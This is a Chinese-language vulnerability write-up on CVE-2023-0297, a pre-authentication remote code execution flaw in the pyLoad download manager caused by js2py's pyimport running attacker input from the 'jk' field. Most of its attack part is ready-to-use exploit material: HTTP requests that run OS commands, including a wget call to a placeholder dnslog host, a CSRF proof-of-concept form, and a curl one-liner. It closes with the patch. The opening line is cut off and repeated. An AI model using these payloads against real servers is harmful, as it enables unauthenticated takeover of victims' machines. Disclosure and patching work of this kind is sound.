pyLoad是一个用 Python 编写的 OSS 下载管理器,可通过 Web 界面进行管理。它的GitHub 存储库有大约
0x02 漏洞影响:
pyLoad <= 0.4.20 & 小于0.5.0b3.dev31版本的pyLoad开发版
0x03 漏洞EXP:
POST /flash/addcrypted2 HTTP/1.1Host: <target>Content-Type: application/x-www-form-urlencodedjk=pyimport%20os;os.system("wget%20xxx.dnslog.xx");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
pyLoad是一个用 Python 编写的 OSS 下载管理器,可通过 Web 界面进行管理。它的GitHub 存储库有大约。截至 2023 年 1 月 9 日,已有 2.8k 颗星。
在审核 pyLoad 的源代码时,以下代码引起了我的注意:
cnl_blueprint.py#L124jk = eval_js(f"{jk} f()")
函数定义eval_js如下:
misc.py#L25-L27def eval_js(script, es6=False):# return requests_html.HTML().render(script=script, reload=False)return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()")使用js2py的功能运行 JavaScript 代码,f"{jk} f()"其中jk参数由请求参数传递:
cnl_blueprint.py#L120jk = flask.request.form["jk"]
因此,您可以通过请求端点来运行任意 JavaScript 代码。
但是,你怎么能滥用它呢?由于在js2py.eval_js()上下文中,既没有XMLHttpRequest,fetch也没有require(如 node.js)未定义,因此 SSRF 或读取本地文件不是问题。
花了一些时间后,我发现了一个 fancyjs2py的功能:
pyimport声明
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:>>> x = """pyimport urllib;var result = urllib.urlopen('https://www.google.com/').read();console.log(result.length)""">>> js2py.eval_js(x)18211undefined
通过使用此功能,您可以在js2py.eval_js()上下文中使用 Python 库!令人惊讶的pyimport是默认情况下启用。:o
我尝试了使用以下命令运行 OS 命令的简单代码pyimport:
$ ls /tmp/pwndls: /tmp/pwnd: No such file or directory$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'$ ls /tmp/pwnd/tmp/pwnd
果然,touch /tmp/pwnd被处决了!
通过发送以下请求,目标主机中会发生同样的事情:
POST /flash/addcrypted2 HTTP/1.1Host: <target>Content-Type: application/x-www-form-urlencodedjk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
;f=function%20f2(){};参数中的部分在jk该端点运行时是必需的eval_js(f"{jk} f()")。如果不存在,注入的代码将不会由于name 'f' is not defined错误而被执行。
请注意,请求中不存在 cookie 和 CSRF 令牌。代表着:
可以访问目标主机的未经身份验证的攻击者具有 RCE 能力。
即使攻击者无法访问目标主机,他们也可以通过 CSRF 攻击诱骗可以访问目标主机的受害者进行 RCE:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="http://<target>/flash/addcrypted2" method="POST"><input type="hidden" name="package" value="xxx" /><input type="hidden" name="crypted" value="AAAA" /><input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" /><input type="hidden" name="passwords" value="aaaa" /><input type="submit" value="Submit request" /></form></body></html>
curl -i -s -k -X $'POST' \--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \$'http://<target>/flash/addcrypted2'
只是禁用pyimport功能。
杂项.py
import js2py+js2py.disable_pyimport()
0x07 文章来源
https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad